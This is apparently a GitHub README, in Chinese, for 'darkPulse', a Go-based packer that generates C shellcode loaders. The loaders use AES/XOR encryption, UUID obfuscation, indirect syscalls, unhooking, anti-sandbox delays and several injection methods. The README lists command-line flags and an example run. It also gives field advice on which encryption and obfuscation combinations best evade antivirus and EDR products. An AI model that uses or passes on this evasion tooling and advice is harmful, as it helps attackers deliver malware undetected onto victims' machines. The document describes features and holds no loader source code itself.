darkPulse: A Go repository from anqisec

darkPulse是一个用go编写的shellcode Packer，用于生成各种各样的shellcode loader。

目前只实现了c语言的模板。

支持aes/xor加密，uuid/words混淆，支持间接syscall和unhook两种模式下的callback，fiber，earlybird三种加载方式。

间接sysacll使用了SysWhispers3的项目，链接：klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)

unhook使用了自定义跳转函数的unhook方法 - root@Ev1LAsH ~ (killer.wtf)文中所讲述的方法，文中提到的github仓库https://github.com/trickster0/LdrLoadDll-Unhooking 只实现了64位下的demo，我在 fdx-xdf/LdrLoadDll-Unhooking-x86-x64 (github.com) 完善了32位和64位通用的一段代码。

使用方法：

首先要配好gcc的环境，命令行运行gcc -v有反应即可

在实战中推荐使用-sandbox参数，针对不同机器情况大概会休眠40s 尽量使用aes+uuid的组合，针对不同的杀软多试试不同的混淆加密方式

Usage:
  -i <path>: 原始格式 Shellcode 的路径
  -enc <encryption>: Shellcode加密方式 (默认: aes)
  -lang <language>: 加载器的语言 (默认: c)
  -o <output>: 输出文件 (默认: Program)
  -k <keyLength>: 加密的密钥长度 (默认: 16)
  -obf <obfuscation>: 混淆Shellcode以降低熵值 (默认: uuid)
  -f <framework>: 目标架构32位还是64位
  -sandbox <true/false>: 是否开启反沙箱模式 (默认: true)
  -unhook <true/false>: 是否开启unhook模式 (默认: false,使用间接syscall加载)
  -loading <loadingTechnique>: 请选择加载方式，支持callback, fiber, earlybird (默认: fiber)
  -debug  <true/false>: 是否打印shellcode中间加密/混淆过程(默认为 'false'，即不打印)

示例：

darkPulse.exe -i calc_shellcode.bin -f 32 -sandbox -unhook

编译成功: Program.exe

即在当前目录下生成 Program.exe

注意：syscall下的earlybird方式由于某些bug并没有使用间接syscall方式加载，尽量不要使用，另外xor+uuid的特征过于明显，尽量不要使用。

目前实现效果如下：
